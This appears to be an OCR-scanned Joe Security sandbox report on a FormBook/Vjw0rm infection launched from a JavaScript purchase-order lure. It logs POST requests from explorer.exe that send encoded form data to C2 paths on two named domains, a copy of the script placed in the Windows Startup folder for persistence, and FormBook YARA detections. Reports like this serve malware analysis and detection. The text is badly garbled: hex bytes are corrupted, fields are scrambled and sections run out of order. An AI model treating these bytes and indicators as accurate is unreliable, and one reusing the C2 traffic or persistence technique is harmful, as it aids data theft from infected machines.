Connection: close

X-Rate-Limit-Limit: 5s

X-Rate-Limit-Remaining: 9

X-Rate-Limit-Reset: 2022-05-27T15:28:11.6850751Z

Destination IP Destination Port Process
85.159.66.93 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.siberup.xyz
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.siberup.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.siberup.xyz/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 54 42 6a 6¢ 49 49 7e 70 69 34 42 4f 4e 7a 35 5a 45 7a 73 54 58 30 47 56 62 34
513677 4b 34 49 6f 77 61 59 72 5a 79 70 62 45 47 6d 78 32 43 69 34 68 78 6d 66 75 43 55 75 51 31 7a 61 57 6f 69 35
38717050536242 6172775167 7953 39 4b 79 6¢ 45 6f 43 34 69 4a 63 71 6¢ 34 6a 69 48 4d 57 4b 49 6f 4f 55 6d 3
33846 4855 32 7a 58 62 61 6a 72 39 4e 44 39 4e 38 49 37 57 4a 78 53 6d 56 6e 50 6a 4b 33 47 47 44 45 4d 78 6b 45
6d 42 49 4b 30 6a 4b 66 33 74 66 58 37 54 56 72 6d 52 5f 61 57 57 47 34 31 41 6b 50 43 35 63 46 36 35 52 43 5f 6f 6e
46 70 51 6e 67 34 53 5f 4f 63 6f 73 7e 39 6f 55 59 48 61 68 7e 6e 39 58 73 47 72 5a 77 61 58 41 28 76 59 68 4d 31 67 66
6f 49 68 70 6a 47 76 46 4f 66 7a 75 65 34 72 34 58 49 36 4c 75 6¢ 62 38 43 46 34 4e 49 72 57 61 63 55 72 51 6¢ 6e 67
6d 51 61 36 47 50 6248 72 61 62 75 45 76 61 59 57 56 56 31 76 6a 46 76 62 71 6b 41 38 46 65 4a 35 61 7a 65 34 33 59
38 4a 51 46 4b 6a 4f 4d 35 5a 73 4a 5a 51 61 37 50 72 4f 65 67 65 67 58 58 56 56 37 34 54 53 6d 30 79 38 59 46 78 59
50 6b 37 6a 4a 4a 30 59 47 74 4f 52 62 48 6d 4a 32 57 78 37 6d 5a 43 62 74 6a 37 56 6b 4a 45 41 71 30 33 36 76 36 70
7a 4f 68 43 67 46 39 74 70 69 61 57 7e 4e 30 37 67 32 73 46 32 6d 28 34 39 5a 74 43 32 51 64 79 68 42 66 4a 39 38 44
6177 6f 67 47 4f 79 6f 42 67 69 72 62 4a 41 79 63 4d 55 6f 78 47 76 6b 69 61 54 4f 4d 30 55 35 4e 68 52 69 68 69 41 72
6b 54 48 32 41 7a 71 4c 36 6d 6b 66 43 66 35 58 47 35 48 4c 79 75 4d 44 54 68 6¢ 6d 50 39 63 4f 51 76 6e 55 57 28 6d
65 4e 30 62 32 56 72 4a 76 5f 6e 44 4a 75 5a 74 34 64 69 52 48 49 70 56 53 73 6d 56 70 5f 33 53 78 2d 62 46 39 35 45
55 74 6¢ 76 4d 6b 68 41 5f 5a 47 77 4a 57 68 53 56 62 73 43 54 52 61 7a 6¢ 4d 39 51 46 68 38 54 66 4d 30 50 43 41 47 4
25162 4c 70 75 69 4c 31 47 45 4d 49 6b 67 4a 67 77 61 68 7e 62 6d 75 38 57 68 5a 42 62 45 57 4a 6d 75 57 6b 51 5a
4c 6b 77 79 72 59 64 34 55 48 43 6e 65 7a 64 35 55 4f 35 68 6f 4e 66 6a 46 44 71 65 54 52 4e 74 43 62 70 77 67 78 6¢C
44 6¢ 70 79 34 57 64 2d 30 32 53 53 64 4b 37 35 75 64 70 4a 5a 43 7a 49 52 76 4f 71 4d 72 78 71 31 32 70 74 32 53 48
75 46 75 54 57 57 65 7a 33 4a 37 68 67 32 4c 5a 36 6¢ 74 56 75 38 79 35 4b 6b 79 72 59 73 31 68 56 38 74 41 54 59 6d
3558 71 4f 54 61 68 74 61 4e 4c 61 70 36 71 4f 4d 37 6d 75 4a 34 6e 63 6¢ 50 4a 71 5a 75 6¢ 76 76 5f 28 6b 46 42 6a 31
7e 69 38 64 63 6b 55 6e 69 2d 56 5f 4f 74 73 55 46 66 61 46 5a 61 49 51 37 34 4f 30 70 6b 4d 77 49 4e 63 37 71 52 7a
67 76 53 77 56 68 6e 76 6f 4a 69 68 64 53 64 79 5a 74 75 70 38 67 2d 75 38 45 4d 53 4f 63 4d 5a 41 31 32 65 61 54 63
32 45 59 4d 52 30 59 58 39 37 38 58 67 37 6f 6f 4a 52 5a 55 72 67 6f 36 53 44 6d 6e 31 71 6a 35 4f 49 52 50 63 78 34 71
36 36 46 47 39 78 48 4e 6¢ 45 63 50 68 4c 42 69 7a 37 38 4¢c 67 51 63 73 47 41 4b 45 46 78 4e 6¢ 4a 35 28 63 48 42 76
62 74 68 75 42 66 6f 75 4f 46 39 47 4e 59 30 31 63 55 4b 43 6b 49 35 73 46 45 44 75 38 46 37 61 6e 39 62 35 66 41 57
72 76 5a 49 6d 5a 45 69 53 66 4f 70 61 6f 4c 39 53 4f 38 48 39 74 77 34 41 76 33 4f 79 42 52 35 51 5f 45 4f 72 41 62 47
55 4c 31 76 7e 4e 4d 6¢ 41 6d 52 64 64 50 54 34 77 46 66 75 64 51 42 55 37 71 45 54 4a 77 54 72 66 74 33 72 4b 70 69
53 42 4d 68 4e 44 34 61 44 30 33 76 4a 67 72 6a 6¢ 35 37 57 52 7e 65 70 45 6e 5f 39 47 51 6e 5a 67 6¢ 61 4b 62 34 39
79 77 63 75 69 63 65 51 64 62 5a 74 4c 48 42 6f 35 6f 76 36 54 66 43 46 6d 61 68 72 71 70 7a 6e 52 33 65 44 7a 57 37
4a 37 5a 41 4a 6d 4f 6d 66 59 55 45 43 67 6d 79 5f 31 42 6e 44 51 4b 35 4f 6d 6d 6f 56 70 42 6d 48 30 44 77 4d 64 46 6d
42 32 76 51 5a 47 70 51 48 4e 7a 7e 41 45 62 6a 6f 36 56 52 66 78 50 68 30 4f 79 52 55 6d 75 38 49 65 77 66 68 66 53
35 38 79 49 34 32 50 6f 33 38 4d 5f 52 59 74 53 6d 51 55 68 33 2d 61 4f 36 77 79 6d 28 32 6d 6f 37 58 64 71 7a 39 7a 74
4a 4f 71 52 56 42 46 30 72 5f 6f 4b 48 6e 36 78 49 42 77 48 56 48 35 74 45 5f 66 46 64 6b 63 4c 77 32 67 56 77 58 6f 62
76 50 4a 64 6a 6a 4a 72 35 46 46 48 4b 2d 37 70 58 5f 66 41 31 44 5a 56 47 4a 6f 4c 66 4f 51 61 4e 31 53 59 7a 6f 6a 49
36 77 42 2d 6d 70 57 58 67 33 6f 77 62 65 51 70 63 74 33 63 72 72 51 75 5a 45 4c 6f 51 35 52 4f
Data Ascii: c2MH6DeP=TB|llI~pi4BONz5ZEzsTX0GVb4Q6wK4lowaYrZypbEGmx2CidhxmfuCUuQ1zaWoi58qpP
ShBarwQgyS9KylEoC4iJcql4jiHMWKIoOUmM38FHU2zXbajraNDINSI7WIxSmVnPjK3GGDEMXKEMBIKOjKf3tIX7TVr
mR_aWWG41AkPC5cF65RC_onFpQng4S_0Ocos~90UYHah~n9XsGrZzwaXA(vYhMl1gfolhpjGvFOfzue4r4 X16Lulb8CF4
NIrWacUrQIngmQa6GPjHrabuEvaYWVV1vjFvbgkA8FeJ5aze43Y8JQFK|OM5ZsJZQa7PrOegegXXVV74TSmOy8YFxY
Pk7jJJ0YGtORbHMJ2Wx7mZCbtj7VKIEAq036v6pzOhCgF9tpiaW~N07g2sF2m(49ZtC2QdyhBfJ98DawogGOyoBgir
bJAycMUoxGvkiaTOMOUSNhRihiArkTH2AzgL6mKfCf5XG5HLyuMDThImP9cOQvnUW (meNOb2Vrlv_nDJuZt4diRHIp
VSsmVp_3Sx-bFI5EUtivVMKhA_ZGwJIJWhSVbsCTRazIMIQFh8TIMOPCAGBQbLpuiL1GEMIkgJgwah~bmu8
WhZBbEWJImuWkQZLkwyrYd4UHCnezd5UO5hoNfiFDge TRNtCbpwgxIDIpy4Wd-02SSdK75udpJZCzIRvOgMrxq12pt2
SHUFUTWWez3J7hg2LZ61tVu8y5KkyrYs1hV8tATYm5XqOTahtaNLap6qOM7mud4nclPJqZulvv_(kFBjl1~i8dckUni-
V_OtsUFfaFZalQ7400pkMwINc7qRzgvSwVhnvoJihdSdyZtup8g-uBEMSOcMZA12eaTc2EYMROYX978Xg700JRZUr
go6SDmMn1qj50IRPcx4q66FGIXHNIECPhLBIz78LgQcsGAKEFXNIJ5(cHBvbthuBfouOF9GNYO01cUKCkKISSFEDuU8F7a
n9b5FAWIvZImZEiSfOpaolL9SO8H9tw4AV3OyBR5Q_EOrAbGUL1v~NMIAMRAdPT4wFfudQBU7qETIwTrft3rKpiSBMh
ND4aD03vJgrjl57WR~epEn_9GQnZglaKb49ywcuiceQdbZtLHBo5ov6 TFCFmahrqpznR3eDzW7J7ZAJmOmfYUECgmy
_1BnDQK50mmoVpBmHODWMdFmMB2vQZGpQHNz~AEbjo6VRXPhOOyRUmMu8lewthfS58yl42P0o38M_RYtSmQUhA3-
a06wym(2mo7Xdqz9ztJOqRVBFOr_oKHn6xIBwHVHStE_fFdkcLw2gVwXobvPJdjjJrSFFHK-7pX_fA1DZVGJo
LfOQaN1SYzojl6wB-mpWXg3owbeQpct3crrQuZELoQ5RO~yalK25sialQ8nTdutdqr3ghvQFZ9duplY 1n9d9Jelqfé
Mc5~GBrG0ZZB9vhJUc4bi6Y LkKuYxQGMCybkc9dMGdKII~dww~yGFF9zaQKleYdsbrmG-F_plql6PdHoZgbzelialU
BKiTte1ff3DrRBVaDmU4usCUSpTpHo_eMs-4ngTSDq9(0keiDadxD2fZ1JA0k3uxUCPPKrogBAMqu9TEmrWEDDS5fVV
dYsmxzdiPHN8XdmngE6Dh58fHDSMAWN78y3TiVAOZDOFA90qJhZCuVdhxi3G3PByb4IkN59ve6kw3Ho2vXFXFDNQOz
y(8qoST3_00TU20gQrcLhVZc5VAHCqg8ER1rgxX3k17y2e0QtJ9U6q7K7gYGac9y6UiXVC-hhk9P6NKIQ98nhSIJhm
b~iV8DY6QovY03nJDzdfvXGeCrbOfy Y4X4MxtpQXAMfIBSO~tDww4XlaU3XqGAT7gRTulR5rSeUlLsG2a0nmXmyGj4
JPrewedEaz-dlIkJHWXWW~vbwhvRFa6i9SvO66a4n7KBTIHCNviUrOs6 TOkt80tROSic4 TvRrasJAKx50zvaF4te8v ]
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Timestamp

May 27, 2022
17:28:06.814181089
CEST

Session ID

8

Timestamp

May 27, 2022
17:28:06.717545986
CEST

May 27, 2022
17:28:06.785590887
CEST

Session ID

9

Timestamp

kBytes
transferred

7686

Source IP

192.168.2.3

kBytes
transferred

7661

7685

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49828

Direction

ouT

Source Port

49829

Direction

DzPPjwLNnEHISONWxVPb2~01s4RkgAiC-wJ6gnJITteONTNesdB~wgNszDd1-FkvVizFwrRIKQieEbUxiqro51LdLr
ﬁ%@dabq BoJQ_kb9I108RhwPBzpXOmMEUw2sHmMgTOQRQNauXI1rzLIiPvBSdHVa0CWj(4yXz3EToAvdmYaKF2MyRTO6X
7IcA7qoUndWIkgNU_FpbzxHpuGWwA2HILJAYLOAdI1IFSLmuL45Lj7TN8KJI2X6s7259Y 0aeFTerilzftFTgm1JtXSyA
0ZNGanVitTnlcuOX3LMRV4AWWjdg8uGJ6wAPW6pIYyClw~e6sNMQxMNJeOBg8DKhE3EQIYZWY TdIrUUFSH
4Vy(zgY8QGeeZ5aYqoFRUTPj8TVGJI6kYcnKZuUQmgFO0IODfh6bXjYJGoWZrw8G78ewguanxiRcVJYPWhzYU~jHOAsz
5hlzsBsPgatWFTBCVOmsnx_Y4G4sBsTkCeHUZ7VA30UCbiJawLKe0oWtL~yG3YGGzWGnomwyyLfJu6Z9P632A334Rs
vCWmyxRED3JIM_UV9xhN20KYv5dJBvsZ380yPNagQzwciu(xFbMN3JLnAODe0SLmI8smeMcpABRGpTHNL
PXtMPAvsZq6gnCOfpfiex5KLdvONUj2ImaFpil-hJZTx53V9krSK89mOccDmghchjOkhffékas4tUYCmJIDiymxKL8E
dok5gRTUWO04n4D2DvgGaP5wLYRgGK6ZAliosRZIj39fAX5XnNscONbn(N6J3BPUkm0s6T4zFPgyz7LOrM2WADH6ReP-
~2GBtxdgdVA2PzWD1z1b7gsSoHjWHpJw35f80giQ0s51M3cV(n(PbXPhggaBCEa6MndnxR(H2B6Q1o~OSX8VkLpUo
ZA388CN7dJErAYsrQB66-pDtzB3h-WNIBA-7_oKF35goRi1RvVT-~DXYpgWzo5Bz6x81LWY CSelWmM68(0cG6RVBpmE
0dMJpzjCzKXx7(gbzYWh9nv1ReUlyKVIEAT24TOTsZtWeXfAr4N8tpHZPIc7TUz2KQbMxYkYsSmcXNNQOLoE7xmBRG
AUnbzwXE3pPa5Ate0UipKp87KLCDcRkfDwWZ6gu4MLC1gVNS4vR5Idjetq~R3IZnWO5TnCy8nMFb(tZj9su2KZHRRNT
t6RbQOYWZzV5ILRpw_BRXxXpG~gGvulNZwxZ3NFZxIAvGnXV{BZvsoVF-IL150i0-6BQDz3XFYFX_yTBvOV6amvegShL
9XzW8(RrWMiLb2BNE46J72sjGMdVdLkiJSxZg8WmkP3KoijlnmAQwDueO~XjgeDzAxeuiAFc_VxtXmelTjP9pqqP15
QddDSd81ZA7v_agC2DOSbmBOO7rFFp14jSgsuh99caixNPx4WpdIQl4wdn15rFEGKElIilgtU_ZinnKNSorj~n11QwP
RxGgwuaRpCt5xUBXPWqvOcyuinKoRix(71pB0i3pEVe6mVPri1ZgNdDyS6lu7Enuir84jtl0QC0bJRcn_HSsLvFwZI
61pJhwDg-XSMQxVQC4McBIW4MnkrihsRgeDRjd4viGyGLxZuBolEigsxYiRoUSzG0A1J-GXRxbnLurl T66Skq09W05
WZiHnmKF3JJ8H5LTPbcCP6LNAAAZFIpuw(IDK53gn~2lywzJ62reKmsmyzYYo8jxrvb2_CH67sauRrsbxmhZ5ZXbXn
kHTelfYjNUyaXOUAEir6 C~aFclJ3LAIzgwEGrokz1uWri6JTk2KLrB5dc~Dnf~qap55VY~coF(FKOBxeS1nUroHepl
JI892VyjTY XorwLCU9npgzsmWLmwStSRHcsv8v9zxcOWUVQg9iwnbM4ncqGyPgHs9UxDw83gLVIvdI8QkJIf(4pQpHY
4UsBUsFYizENBjtUTQ3YIRjCPB7WupCZzWo(a4QtAjyLxBmkyn0sl167 TNHZwWWbKFXyV7Jp44eZck6bX8KmDNJY GIW
0tQ25CiQo1nfCLNU35-xUW1ThObM7sYOQ~e50NmBh(ew049ny5kageQ4VcXU3k24YtPsuZ9~Kxf\Wpo7fTMaRO0if4ps-
Oy8DJFLUYsF-Sbtw1hKS6fVuMazb8YaQ25eZrcpdYPusmiQZUmZYHyYW7YkpGa2PXiX6z3zJ6S7MnjbL2R2414G

HTTP/1.1 404 Not Found

Server: nginx/1.14.1

Date: Fri, 27 May 2022 15:28:06 GMT
Content-Length: 0

Connection: close

X-Rate-Limit-Limit: 5s

X-Rate-Limit-Remaining: 8

X-Rate-Limit-Reset: 2022-05-27T15:28:11.6850751Z

Destination IP Destination Port Process
85.159.66.93 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=cDXfWuCokJFrdCwhVntnDB+RdogU7uBP5U/Sv42Lexzi+FyRpCsvSOHB1CIRHN4SxuGj&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.siberup.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx/1.14.1

Date: Fri, 27 May 2022 15:28:06 GMT
Content-Length: 0

Connection: close

X-Rate-Limit-Limit: 5s

X-Rate-Limit-Remaining: 9

X-Rate-Limit-Reset: 2022-05-27T15:28:11.7635228Z

Destination IP  Destination Port Process
132.148.165.111 80 C:\Windows\explorer.exe
Data
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kBytes

Direction
transferred

Timestamp
May 27, 2022 7688 ouT

17:28:11.983567953
CEST

May 27, 2022 7688 IN
17:28:12.128041029
CEST

Statistics

Behavior

@ Click to jump to process

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.kishanshree.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.kishanshree.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.kishanshree.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 67 6e 66 51 70 6f 61 42 4b 75 64 35 39 2d 34 68 71 6e 76 68 58 4a 6¢ 4d 41 4c 38
5a 5a 4d 34 6e 42 64 69 6f 66 6a 59 49 35 64 57 74 31 33 39 69 31 6d 49 4d 55 45 6a 36 69 72 56 6f 75 53 70 55 72 32
49 32 6e 66 4c 44 6d 6a 75 4a 6b 59 6b 53 31 48 63 44 4d 52 4b 6a 46 31 38 42 6a 42 58 73 6f 63 6a 53 41 6¢ 79 64 63
62 74 47 68 72 68 61 4a 52 56 4f 59 6b 41 70 4d 45 28 50 68 79 6d 46 63 50 73 6f 57 68 6e 73 51 61 67 51 37 35 36 4f 6
¢ 4e 51 6a 57 56 35 45 4f 59 49 46 70 62 74 54 49 4a 6a 76 30 33 39 46 4b 4c 45 54 38 35 6a 4e 7a 33 74 31 50 6d 6f 7a
71 5f 7a 44 72 43 46 70 6f 35 6d 76 65 38 6b 47 50 79 43 5f 64 79 78 43 46 53 75 67 4a 38 31 41 4a 31 6e 4c 6e 68 55 33
49 72 33 77 4f 77 33 44 34 41 58 41 55 68 4e 61 7e 67 4¢c 52 37 44 57 75 48 74 6b 7a 5a 45 43 66 78 67 72 32 41 72 52
77 41 41 64 66 45 33 77 4f 66 31 63 58 61 39 4e 4d 72 6b 79 35 44 41 37 57 79 66 39 58 51 59 6e 6b 75 62 64 70 37 41
39 6f 6b 6b 79 71 77 54 46 4b 65 31 28 65 51 76 6e 72 32 4f 4f 4d 32 35 73 6a 38 5a 63 75 75 70 71 4d 4c 70 39 6f 61 56
7e 6¢ 33 31 4e 36 38 5a 7a 77 5a 79 79 48 4d 63 45 53 54 58 69 41 65 69 62 74 4f 49 69 6f 6b 42 5a 63 37 54 49 70 54
64 64 44 73 6d 41 74 57 4a 6a 70 4b 68 4c 7a 58 43 48 38 70 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=gnfQpoaBKud59-4hgnvhXJIMAL8ZZM4nBdiofjYI5dWt139i1mIMUE]6irVouSpUr212nfLDmjuJkYk
S1HcDMRK]jF18BjBXsocjSAlydcbtGhrhaJRVOYKApME(PhymFcPsoWhnsQagQ756 0INQjWV5EQY IFpbtTIJjvO39FK
LET85jNz3t1Pmozq_zDrCFpo5mve8kGPyC_dyxCFSugJ81AJ1nLnhU3Ir3awOw3D4AXAUhNa~gLR7DWuHtkzZECfxgr
2ArRWAAdfE3wOf1lcXa9NMrky5DA7WyfIXQYnkubdp7A9okkyqwTFKel(eQvnr200M25sj8ZcuupgMLp9oaV~I31N68
ZzwZyyHMCcESTXiAeibtOliokBZc7TIpTddDsmAtWJjpKhLzXCHB8pA).

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:28:11 GMT

Server: Apache

Content-Length: 315

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79
2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20
77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6 74 20 74 6f 20
68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

@ wscript.exe

@ wscript.exe

@ bin.exe

@ explorer.exe

@ wscript.exe

@ wscript.exe

® wscript.exe

@ cmmon32.exe
cmd.exe

@ conhost.exe

@ cmd.exe

@ conhost.exe

@ 5hol_r7nkdhp.exe
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System Behavior

Analysis Process: wscript.exe PID: 6352, Parent PID: 3968

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

0

17:25:21

27/05/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-PO162667.js"
0x7ff7613a0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

true

true

C, C++ or other language

Copyright Joe Security LLC 2022
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Yara matches: .

Reputation: high

File Activities

Analysis Process: wsc

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.272269605.000001E33FAF9000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.283279518.000001E33FDAF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000003.283279518.000001E33FDAF000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.283279518.000001E33FDAF000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.274118821.000001E33FAF9000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.273757086.000001E33FAF2000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.272435860.000001E33FAF9000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.273520622.000001E33FA71000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.285664073.000001E33FAAE000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000003.285664073.000001E33FAAE000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000002.291278262.000001E33FAD0000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.286506040.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.286506040.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.271100464.000001E33FA55000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.283352541.000001E33FAAE000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000003.283352541.000001E33FAAE000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.293804379.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.293804379.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.283509737.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.283509737.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.272975523.000001E33FA54000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000003.284654374.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000003.284654374.000001E33FB1D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.272013161.000001E33F9B1000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.284462821.000001E33FAAE000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000003.284462821.000001E33FAAE000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.273684731.000001E33FAEE000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000003.273404024.000001E33FAEE000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source:
00000000.00000002.298399545.000001E34090B000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.298399545.000001E34090B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000000.00000002.298399545.000001E34090B000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.298399545.000001E34090B000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

ript.exe PID: 6432, Parent PID: 6352

General

Target ID: 1

Start time: 17:25:28

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\JmtwmJXhXe.js

Copyright Joe Security LLC 2022
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Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\JmtwmJXhXe.js

File Written
File Path

C:\Users\user\AppData\Roaming\ 0
Microsoft\Windows\Start Menu\P
rograms\Startup\dJmtwmJXhXe.js

0x7ff7613a0000

163840 bytes
9A68ADD12EB50DDE7586782C3EBIFFIC
true

true

C, C++ or other language

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000001.00000002.787481597.000001B744A45000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000001.00000002.787143262.000001B742DEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

